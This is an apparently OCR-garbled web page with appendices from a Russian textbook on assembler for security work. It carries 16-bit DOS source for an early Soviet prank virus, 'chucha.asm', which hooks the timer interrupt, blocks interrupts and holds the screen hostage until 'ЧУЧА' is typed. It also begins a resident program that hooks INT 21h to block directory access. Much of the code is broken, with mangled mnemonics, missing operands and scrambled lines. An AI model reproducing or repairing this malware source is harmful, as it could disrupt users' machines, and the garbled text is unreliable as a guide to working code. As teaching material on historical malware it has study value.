Анимация
JavaScript
|
Главная Библионтека Приложение 1 Вариант реализации одного из первых советских вирусов ==== chucha.asm ============================================= ==== В определенное время блокируется система прерываний, === ==== очищается экран и в его центр выводится сообщение ====== ==== "Хочу Чучу!". Восстановление экрана и снятие блокировки ==== прерываний происходит только после ввода =============== ==== с клавиатуры последовательности символов "ЧУЧА". ======= . 286 . MODEL tiny . CODE EQU 2145h old 2fh EQU OFFSET start ; Адрес старого ВП 2Fh old 08h EQU OFFSET start+4 alarm ; Время активизации old ss old sp new sp tmpBuf begin: EQU OFFSET start+8 EQU OFFSET start+10 ; Адрес старого ВП OBh ; Адрес для хранения "старого" SS ; Адрес для хранения "старого" SP EQU OFFSET inst ; Новый адрес SP EQU OFFSET inst ; Адрес временного видеобуфера ORG lOOh ; Перейдем на загрузчик start ; Скен-коды нажатия и отжатия клавиш X, Е, X, F (ЧУЧА) passwd DB 2Dh, OADh, 12h, 92h,2Dh, OADh, 21h, OAlh, 0 ; Упакованное сообщение, выводимое при активизации
txtmes ; Новый обработчик мультиплексного прерывания 2Fh -; проверка наличия в памяти первой копии программы new 2fh: сюр ah, 0E8h jne out2fh mov al, OFFh; Признак присутствия P°f!y.?..} P"""" реализации одного из первых советских вирусов iret out2fh: jmp DWORD PTR cs:[old 2fh] ; Переход к старому обработчику ; Новый обработчик прерывания таймера OBh newJBh: ; Сохранение "старого" адреса стека, установка собственного стека mov WORD PTR cs:[old sp], sp mov WORD PTR cs:[old~ss], ss xchg ax, sp mov ax, cs mov ss, ax xchg ax, sp mov sp, new sp ; Сохранение используемых регистров push ax cx si di es ds ; Чтение текущего времени из CMOS mov al, 2 out 70h, al in al, 71h ; Читаем минуты mov cl, al mov al, 4 out 70h, al in al, 71h ; Читаем часы mov ch, al cmp cx, alarm ; Проверим время активизации ]nz exittime mov al, BOh ; Запретим немаскируемое out 7Oh, al ; прерывание in al, 71h ; и проверим ° al, al ; секунды текущего ]nz exittime; времени на ноль „ i ; Запретим прерывания ; Сохраним текстовый видеобуфер push cs push OBBOOh pop ds pop es xor si, si mov di, tmpbuf mov cx, 2000 lep movsw ; Очистим видеобуфер mov cx, 2000 mov ax, 0720h push ds pop es * xor di, di fep stosw ,1 ; Выведем сообщение P push cs pop ds mov di, 1600 mov si, OFFSET grphmes mov ax, 07DBh outmes: reenter: next:
Ассемблер в задачах защиты UHcJiopMaqujj restore: sti rep movsw exittime: [si] клавиатуры ключевой последовательности [si], О Читаем из порта ; клавиатуры, пока ; не будет изменений Сравним считанный код с кодом ключевой последовательности Восстановим видеобуфер и разрешим прерывания mov хог mov di, сх, tmpbuf di 2000 xor al, al out 70h, al ; Восстановим сохраненные регистры pop ds es di si cx aX , ; Восстановим стек mov SS, WORD PTR cs:[old ss] mov sp, WORD PTR cs: [oldPl ; Перейдем на старый обработчик прерывания от таймера jmp DWORD PTR cs:[old 08h] ; Загрузчик резидентной части программы start: mov ah, OESh; Проверим, не находится int 2fh ; ли уже эта программа cmp al, OFFh; в памяти jz inst ; Загрузка - сохранение "старых" и установка "новых" ВП, ; вывод сообщения и завершение программы с оставлением ; в памяти 5К
[-]риложение 1. Вариант реализации одного из первых советских вирусов push 2508h OFFSET new 08h OFFSET txtmes 09h 1400h inst: Завершим программу int 20h END begin Примечания. 1) Сохраняемые вектора прерываний записываются поверх уже выполненного кода загрузчика. 2) В памяти после загрузки остаются 5Кб, 4 из которых необходимы для сохранения содержимого видеобуфера при активизации программы. 3) При совпадении текущего времени с установленным считывается дополнительно текущее значение секунд и одновременно запрещается немаскируемое прерывание. Дополнительный анализ значения секунд позволяет избежать повторной активизации программы после ввода кодовой последовательности - выполнение продолжается только в случае равенства секунд нулю, иначе происходит переход на метку exittime. 4) После активизации программы распаковщик формирует сообщение ЩГЧЫ ЧЫЧУ! Это сообщение хранится в программе в запакованном виде по адресу grphmes, каждое значение соответствует количеству поочередно выводимых символов пробела или полного заполнения. Приложение 2 Резидентный блокировщик доступа к директории Приложение 2. Резидентный блокировиик доступа к директории 507 ==== dirlock.asm - резидентный блокировщик === ==== доступа к директории. =================== MODEL tiny CODE begin: ORG lOOh mov dx, OFFSET crights mov ah, 09h int 21h mov ah, 0E8h ; int 2fh cmp al, OFFh ; jz inst cmp BYTE PTR cs: [80h], 0 jz usage Перевод парамеров командной строки к верхнему регистру Проверка ; наличия резидентной части ; Уже в памяти - на выход Командная строка пуста - на выход tobig: big: xor mov mov cmp jbe and inc loop cx, cl, di. BYTE PTR big BYTE PTR di tobig [80h] [di], 61h [di], ODFh a -> A (61h -> 41h) Сохранение векторов прерывания mov ax, 352Fh int 21h mov WORD PTR cs: old 2fh, bx mov WORD PTR cs: old 2fh+2, es mov ax, 3521h int 21h mov WORD PTR cs: old 21h, bx mov WORD PTR cs: old 21h+2, es mov ax, 252Fh Установка новых векторов прерывания push push dx, cs ds 21h ax, dx, cs ds 21h OFFSET cs: new 2fh 2521h OFFSET cs: new 21h mov ah, 09h ; Вывод сообщения об успещной установке mov dx, OFFSET insmsg int 21h • Завершение и оставление резидентной части объемом mov dx, lOOOh int 27h inst: ; Вывод сообщения о выгрузке mov ah, 09h mov dx, OFFSET reramsg int 21h jmp exit usage: ; Вывод информации об использовании mov ah, 09h mov dx, OFFSET usemsg int 21h exit: ; Завершение программы mov ax, 4C00h int 21h ; Обработчик прерывания 2Fh - выгрузка new 2fh: 1 Кб
crap ah, 39h ; Функция DOS MKDIR ? jz n21h ; Да, на новый обработчик cmp ah, 3Ah ; Функция DOS RMDIR ? jz n21h ; Да, на новый обработчик cmp ah, 3Bh ; Функция DOS CHDIR ? jz n21h ; Да, на новый обработчик 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 [ 82 ] 83 84 85 86 87 88 |